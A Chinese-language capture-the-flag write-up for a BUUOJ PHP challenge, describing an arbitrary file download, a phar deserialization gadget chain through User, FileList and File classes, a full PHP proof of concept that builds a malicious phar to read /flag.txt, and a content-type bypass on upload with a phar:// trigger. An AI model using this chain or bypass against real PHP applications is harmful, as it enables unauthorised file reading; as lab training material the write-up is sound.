平台:buuoj.cn
打开靶机注册登录之后是一个管理面板,有上传功能
在这里插入图片描述
上传文件试试看
在这里插入图片描述
可以下载,抓个包有任意文件下载
在这里插入图片描述
把文件都下下来
在这里插入图片描述

考点

phar反序列化
class.php中定义了三个类:User,Filelist,File
User类中除了三个用户处理函数外,在结束对象时会自动执行destruct函数调用close()
在这里插入图片描述
Filelist类中存在一个特别的魔术方法,
call()

PHP5 的对象新增了一个专用方法 call(),这个方法用来监视一个对象中的其它方法。如果你试着调用一个对象中不存在或被权限控制中的方法,call 方法将会被自动调用。该函数会把不可调用的名作为第一个参数,方法作为第二个参数传入__call方法中执行

在这里插入图片描述
该方法遍历files数组,对每一个file变量执行一次$func,然后将结果存进$results数组。
最后结束时调用_destruct打印出$result和$func的信息
在这里插入图片描述
File类中定义了一个和User类中的同名函数close(),直接获取文件内容
在这里插入图片描述
从close()函数入手。
这个函数和Users中最后db调用的close()同名,File和Filelist中没有db变量,因此当db是FileList对象的一个变量时,User对象就会调用destruct。
接着destruct函数触发FileList的close(),然而Filelist中没有close方法,因此call()函数被调用,close()函数被传入call执行。
Filelist对象销毁时,最后的destruct函数就会自动执行,从而打印出__call中传入的$result和$func的信息,这就可以打印出flag的值
poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
public function __construct() {
$file = new File();
$file->filename = "/flag.txt";
$this->files = array($file);
}
}

$a = new User();
$a->db = new FileList();

$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new User();
$o->db = new FileList();

$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

关于这里为什么是flag.txt,有师傅说是前面任意文件下载代码给了提示
在这里插入图片描述
禁止下载flag.*的文件

执行生成phar文件
在这里插入图片描述
回到题目,将生成的phar文件上传
这里因为有文件类型检测,抓包改文件类型即可
在这里插入图片描述
然后由于download中
在这里插入图片描述
无法读取根目录的文件,所以只能利用delete
抓取删除的包用phar://协议读phar.gif文件即可
在这里插入图片描述